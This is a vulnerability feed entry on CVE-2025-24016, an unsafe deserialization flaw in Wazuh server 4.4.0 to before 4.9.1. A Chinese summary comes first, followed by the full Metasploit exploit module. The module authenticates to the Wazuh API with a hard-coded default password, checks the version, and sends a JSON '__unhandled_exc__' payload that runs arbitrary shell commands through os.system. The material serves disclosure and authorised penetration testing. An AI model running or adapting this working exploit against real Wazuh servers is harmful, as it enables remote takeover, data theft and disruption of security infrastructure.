Wazuh Server Remote Code Execution Vulnerability

漏洞信息

漏洞名称： Wazuh Server Remote Code Execution Vulnerability

漏洞编号：

• CVE： CVE-2025-24016

漏洞类型： 反序列化

漏洞等级： 严重

漏洞描述： Wazuh是一个开源的威胁预防、检测和响应平台，广泛应用于企业级安全监控和事件响应。该平台因其强大的功能和灵活性，被许多组织用于构建其安全基础设施。此次发现的漏洞影响Wazuh服务器，具体为从版本4.4.0开始到4.9.1之前的版本。漏洞类型为不安全的反序列化，允许远程代码执行。技术根源在于DistributedAPI参数被序列化为JSON并通过as_wazuh_object方法反序列化时，未对输入进行充分验证。攻击者可以通过构造特定的DAPI请求或响应，注入未处理的异常（__unhandled_exc__），从而执行任意Python代码。此漏洞的利用条件相对宽松，任何拥有API访问权限的用户（如被入侵的仪表板或集群中的Wazuh服务器）或在特定配置下甚至被入侵的代理都可以触发此漏洞。该漏洞的潜在安全风险极高，可能导致远程代码执行、数据泄露和服务中断，且无需认证即可利用，自动化攻击也是可能的。

产品厂商： Wazuh

产品名称： Wazuh

影响版本： 4.4.0 <= version < 4.9.1

来源： https://github.com/rapid7/metasploit-framework/blob/abbcdda6944c32aac024ad9359882bc1ada1a4d2/modules%2Fexploits%2Flinux%2Fhttp%2Fwazuh_auth_rce_cve_2025_24016.rb

类型： rapid7/metasploit-framework:github issues

POC详情

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
        'Description' => %q{
          Wazuh is a free and open source platform used for threat prevention, detection, and response.
          Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
          allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized
          as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
          If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
          forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
          The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
          servers in the cluster) or, in certain configurations, even by a compromised agent.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
          'DanielFi https://github.com/DanielFi', # Discovery
        ],
        'References' => [
          ['CVE', '2025-24016'],
          ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
          ['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Privileged' => false,
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-02-10',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 55000
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
      OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
      OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
    ])
  end

  # get Wazuh API token
  # return token if API login is successful else nil
  def get_api_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
      'headers' => {
        'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
      }
    })
    return unless res&.code == 200 && res.body.include?('token')

    res_json = res.get_json_document
    res_json['data']['token'] unless res_json.blank?
  end

  # get the Wazuh version
  # return version if successful else nil
  def get_wazuh_version(api_token)
    api_auth = "Bearer #{api_token}"
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Authorization' => api_auth.to_s
      }
    })
    return unless res&.code == 200 && res.body.include?('api_version')

    res_json = res.get_json_document
    res_json['data']['api_version'] unless res_json.blank?
  end

  # CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
  def execute_command(cmd, _opts = {})
    # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
    post_data = {
      __unhandled_exc__: {
        __class__: 'os.system',
        __args__: [ cmd.to_s ]
      }
    }.to_json

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
      'ctype' => 'application/json',
      'headers' => {
        'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD'])
      },
      'data' => post_data.to_s
    })
  end

  def check
    # check Wazuh API access with the API credentials
    api_token = get_api_token
    return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?

    version = get_wazuh_version(api_token)
    return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?

    version = Rex::Version.new(version)
    unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
      return CheckCode::Safe("Wazuh version #{version}")
    end

    CheckCode::Appears("Wazuh version #{version}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_command(payload.encoded)
  end
end